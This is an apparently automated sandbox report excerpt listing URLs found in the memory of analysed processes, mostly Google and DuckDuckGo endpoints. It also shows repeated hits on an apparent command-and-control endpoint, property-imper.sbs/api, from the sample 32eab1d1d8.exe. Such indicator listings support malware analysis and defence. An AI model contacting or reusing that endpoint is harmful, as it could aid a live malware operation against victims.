Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 0000001A.00000002.2718518824.000016B0002C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 0000001A.00000002.2722328633.000016B000770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2720145095.000016B0004F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 0000001A.00000002.2718730379.000016B000318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.c
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 0000001A.00000002.2718730379.000016B000318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719241092.000016B000390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2723473297.000016B000968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 0000001A.00000002.2723473297.000016B000968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: file.exe, 00000000.00000003.1902015543.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813480773.00000000058BD000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2814268139.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813813506.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1902015543.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813480773.00000000058BD000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2814268139.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813813506.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: file.exe, 00000000.00000003.1902015543.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813480773.00000000058BD000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2814268139.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813813506.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: chrome.exe, 0000001A.00000003.2681723172.00002E7400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2765086895.00002E740078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 0000001A.00000002.2765350365.00002E740080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2681186144.00002E740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2680596367.00002E7400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 0000001A.00000003.2681723172.00002E7400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hjt.
Source: chrome.exe, 0000001A.00000003.2681723172.00002E7400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2765086895.00002E740078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 0000001A.00000002.2765350365.00002E740080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2681186144.00002E740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2680596367.00002E7400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 0000001A.00000003.2681723172.00002E7400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 0000001A.00000003.2681723172.00002E7400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 0000001A.00000002.2715927657.000016B00000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 0000001A.00000002.2720589690.000016B00060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: file.exe, 00000000.00000002.2128255409.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2900866586.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 00000016.00000002.2638683621.000000000341B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ion=v4.5HyD
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006https://issuetracker.google.com/184850002
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2726573687.000016B000C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 0000001A.00000002.2722430333.000016B0007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722328633.000016B00079D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719988579.000016B0004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 0000001A.00000002.2722430333.000016B0007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722328633.000016B00079D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719988579.000016B0004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 0000001A.00000003.2680596367.00002E7400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 0000001A.00000002.2747959012.00002E7400237000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2724522338.000016B000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2764987277.00002E7400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 0000001A.00000002.2747959012.00002E7400237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard.t$
Source: chrome.exe, 0000001A.00000002.2764987277.00002E7400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard.twZ
Source: chrome.exe, 0000001A.00000002.2765350365.00002E740080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2681186144.00002E740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2680596367.00002E7400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 0000001A.00000002.2765350365.00002E740080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2681186144.00002E740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2680596367.00002E7400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 0000001A.00000002.2764987277.00002E7400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 0000001A.00000003.2680596367.00002E7400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 0000001A.00000002.2765350365.00002E740080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2681186144.00002E740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2680596367.00002E7400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 0000001A.00000003.2682539394.00002E74006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2764933007.00002E7400744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2765086895.00002E740078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 0000001A.00000003.2680596367.00002E7400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 0000001A.00000002.2765086895.00002E740078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 0000001A.00000002.2765086895.00002E740078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 0000001A.00000002.2764933007.00002E7400744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 0000001A.00000002.2718772870.000016B00032C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 0000001A.00000002.2717288151.000016B0000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719241092.000016B000390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 0000001A.00000002.2722328633.000016B000770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2720145095.000016B0004F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 0000001A.00000002.2719537811.000016B000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722628262.000016B000820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 0000001A.00000002.2722628262.000016B000820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyM
Source: chrome.exe, 0000001A.00000002.2719537811.000016B000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722628262.000016B000820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 0000001A.00000002.2719537811.000016B000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722628262.000016B000820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719593935.000016B000498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2698676882.000016B000EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: powershell.exe, 0000000D.00000002.2482340700.0000000005643000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2520415882.0000000006123000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2563365666.0000000005703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2603059212.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2664145528.0000000005FD3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2731538055.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 0000001A.00000002.2729786801.000016B000E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728540837.000016B000DBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2740238731.000016B000F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 0000001A.00000002.2729786801.000016B000E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728540837.000016B000DBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2740463128.000016B000FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 0000001A.00000002.2729786801.000016B000E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2740238731.000016B000F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2725206118.000016B000AC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 0000001A.00000002.2729786801.000016B000E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2740238731.000016B000F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2740463128.000016B000FA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2718556052.000016B0002E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 0000001A.00000002.2729786801.000016B000E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2740238731.000016B000F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2718556052.000016B0002E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 0000001A.00000002.2729786801.000016B000E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2740238731.000016B000F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2740463128.000016B000FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 0000001A.00000002.2729786801.000016B000E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728540837.000016B000DBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2740463128.000016B000FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 0000001A.00000002.2729786801.000016B000E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728540837.000016B000DBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2740238731.000016B000F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2740463128.000016B000FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 0000001A.00000002.2719988579.000016B0004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719593935.000016B000498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2698676882.000016B000EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719593935.000016B000498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2698676882.000016B000EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: 32eab1d1d8.exe, 0000001C.00000003.3116908633.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2882349545.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2929836310.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: 32eab1d1d8.exe, 0000001C.00000003.3013769659.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2982719359.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3116908633.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2929836310.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/#Q
Source: 32eab1d1d8.exe, 0000001C.00000003.3013769659.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2982719359.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/SP
Source: 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2882349545.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2929836310.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api3
Source: 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api6
Source: 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3116402833.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apie
Source: 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apik
Source: 32eab1d1d8.exe, 0000001C.00000003.2982719359.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apip#
Source: 32eab1d1d8.exe, 0000001C.00000003.3116908633.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api
Source: chrome.exe, 0000001A.00000002.2717022050.000016B00008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
